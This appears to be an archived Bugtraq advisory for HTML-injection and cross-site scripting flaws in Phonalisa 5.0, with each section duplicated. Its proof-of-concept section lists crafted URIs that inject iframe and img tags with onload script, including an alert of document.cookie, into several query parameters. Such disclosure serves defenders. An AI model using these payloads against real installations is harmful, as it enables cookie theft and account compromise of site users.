Phonalisa Multiple HTML-Injection Cross-Site Scripting and Arbitrary Code Execution Vulnerabilities
BID:54401
Info
Phonalisa Multiple HTML-Injection Cross-Site Scripting and Arbitrary Code Execution Vulnerabilities
| Bugtraq ID: | 54401 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 12 2012 12:00AM |
| Updated: | Jul 12 2012 12:00AM |
| Credit: | Benjamin Kunz Mejri |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Phonalisa Multiple HTML-Injection Cross-Site Scripting and Arbitrary Code Execution Vulnerabilities
Phonalisa is prone to multiple HTML-injection, cross-site-scripting, and arbitrary code-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
Attackers can exploit these issues to execute arbitrary code in the context of the web server, compromise the affected application, or steal cookie-based authentication credentials from legitimate users of the site. Other attacks are also possible.
Phonalisa 5.0 is vulnerable; other versions may also be affected.
Phonalisa is prone to multiple HTML-injection, cross-site-scripting, and arbitrary code-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
Attackers can exploit these issues to execute arbitrary code in the context of the web server, compromise the affected application, or steal cookie-based authentication credentials from legitimate users of the site. Other attacks are also possible.
Phonalisa 5.0 is vulnerable; other versions may also be affected.
Exploit / POC
Phonalisa Multiple HTML-Injection Cross-Site Scripting and Arbitrary Code Execution Vulnerabilities
Attackers can exploit these issues with a browser. To exploit a cross-site scripting issue, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C [XSS]
http://www.example.com/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS]
http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-owned-headonfire.jpg%20onload=alert%28123%29;%20/%3E&setlang=en-us [XSS]
http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-owned-headonfire.jpg%20/%3E&setlang=en-us [XSS]
http://www.example.com/?s=provphones&m=phones&sudo=su&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL
%22%29%20%3C&ip=127.0.0.1&pbx_id=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&phone_type=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS]
http://www.example.com/&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&sudo=su§ion=%2Fprov%2Fcisco [XSS]
Attackers can exploit these issues with a browser. To exploit a cross-site scripting issue, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C [XSS]
http://www.example.com/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS]
http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-owned-headonfire.jpg%20onload=alert%28123%29;%20/%3E&setlang=en-us [XSS]
http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-owned-headonfire.jpg%20/%3E&setlang=en-us [XSS]
http://www.example.com/?s=provphones&m=phones&sudo=su&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL
%22%29%20%3C&ip=127.0.0.1&pbx_id=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&phone_type=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS]
http://www.example.com/&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&sudo=su§ion=%2Fprov%2Fcisco [XSS]
Solution / Fix
Phonalisa Multiple HTML-Injection Cross-Site Scripting and Arbitrary Code Execution Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Phonalisa Multiple HTML-Injection Cross-Site Scripting and Arbitrary Code Execution Vulnerabilities
References:
References: